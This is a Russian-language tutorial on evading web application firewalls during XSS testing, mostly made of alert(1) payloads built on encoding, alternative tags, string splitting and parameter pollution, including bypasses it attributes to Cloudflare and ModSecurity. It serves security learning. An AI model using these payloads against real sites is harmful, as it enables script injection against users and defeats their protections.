May 25

Обход WAF для XSS: Подробное руководство для начинающих

Web Application Firewall (WAF) — это система, которая фильтрует вредоносные запросы к веб-приложениям, включая XSS-атаки. Однако WAF можно обойти, если знать, как работают фильтры и какие техники обхода существуют.

В этом руководстве разберем базовые и продвинутые методы обхода WAF для успешного тестирования на XSS.

1. Что такое XSS и как WAF его блокирует?

XSS (Cross-Site Scripting) — уязвимость, позволяющая внедрить JavaScript-код в страницу, который выполняется в браузере жертвы.

Как WAF блокирует XSS?

  • Фильтрует ключевые слова (<script>, alert, onerror).
  • Проверяет структуру HTML/JS (закрытие тегов, кавычки).
  • Блокирует подозрительные символы (<, >, ', ", ()).

Но WAF не идеален, и его можно обмануть.

2. Основные техники обхода WAF

① Кодирование и обфускация

WAF часто ищет явные строки вроде alert(1), но если закодировать payload, фильтр может его пропустить.

HTML-entities

<script>&#97;&#108;&#101;&#114;&#116;(1);</script>

Hex-кодирование

<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script>

Unicode-escape

<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

② Альтернативные теги и события

WAF часто блокирует <script>, но пропускает другие теги:

Через SVG

<svg onload=alert(1)>

Через iframe и JavaScript-URI

<iframe src="javascript:alert(1)">

Через неочевидные обработчики

<input autofocus onfocus=alert(1)>
<video onseek="alert(1)">

③ Разбиение строк (String Concatenation)

Если WAF блокирует alert(1), можно разбить строку:

<script>window['al'+'ert'](1)</script>

Или:

<script>eval('al'+'ert(1)')</script>

④ Использование атрибутов без кавычек

WAF ищет строки в кавычках ("alert(1)"), но можно обойтись без них:

<img src=x onerror=alert(1)>

⑤ HTTP Parameter Pollution (HPP)

Некоторые WAF проверяют параметры по отдельности, но не анализируют их комбинацию:

/?param=<scri&param=pt>alert(1)</scri&param=pt>

На сервере может склеиться в <script>alert(1)</script>.

3. Продвинутые методы

① Использование atob() (Base64 декодирование)

Если WAF блокирует прямой JS, можно закодировать его в Base64:

<script>eval(atob('YWxlcnQoMSk='))</script> // "YWxlcnQoMSk=" = "alert(1)"

② Динамические вызовы через constructor

<script>(1)[constructor.constructor('alert(1)')()]</script>

③ Обход через location.hash

Если WAF проверяет только URL, но не location.hash:

<script>eval(location.hash.slice(1))</script>

А затем в URL:

https://site.com/xss.html#alert(1)

4. Практические примеры обхода WAF

Пример 1: Cloudflare WAF
Cloudflare блокирует <script>alert(1)</script>, но пропускает:

<svg/onload=alert`1`>

Пример 2: ModSecurity WAF
ModSecurity часто блокирует onerror=, но пропускает:

<img src=x oneonerrorrror=alert(1)>

5. Инструменты для автоматизации

  • XSS Hunter (https://xsshunter.com) — для сбора данных о срабатывании XSS.
  • XSStrike (https://github.com/s0md3v/XSStrike) — автоматический фаззер для обхода WAF.
  • Burp Suite + Bypass WAF Extension — для ручного тестирования.

Ключевые принципы обхода WAF

Главное правило: Нет универсального решения. Успех зависит от:

1. Методичного тестирования
→ Пробуйте сотни вариантов payload'ов
→ Фиксируйте, какие конструкции проходят
→ Анализируйте закономерности блокировок

2. Глубокого понимания WAF
→ Тестируйте фильтрацию по частям:
- Какие теги разрешены?
- Какие атрибуты не блокируются?
- Какие символы вызывают срабатывание?
→ Составляйте "карту" работы фильтров

3. Креативного подхода
→ Комбинируйте техники (кодирование + разбиение строк)
→ Придумывайте неочевидные конструкции
→ Используйте особенности конкретного WAF

Практические советы


→ Начинайте с простых payload'ов и усложняйте
→ Тестируйте по одному изменению за раз
→ Используйте fuzzing для автоматизации проб
→ Изучайте ответы сервера (разные коды ошибок)

Лучшие площадки для практики:
- PortSwigger Web Security Academy
- HackTheBox XSS Challenges
- PentesterLab XSS Exercises
- Rootme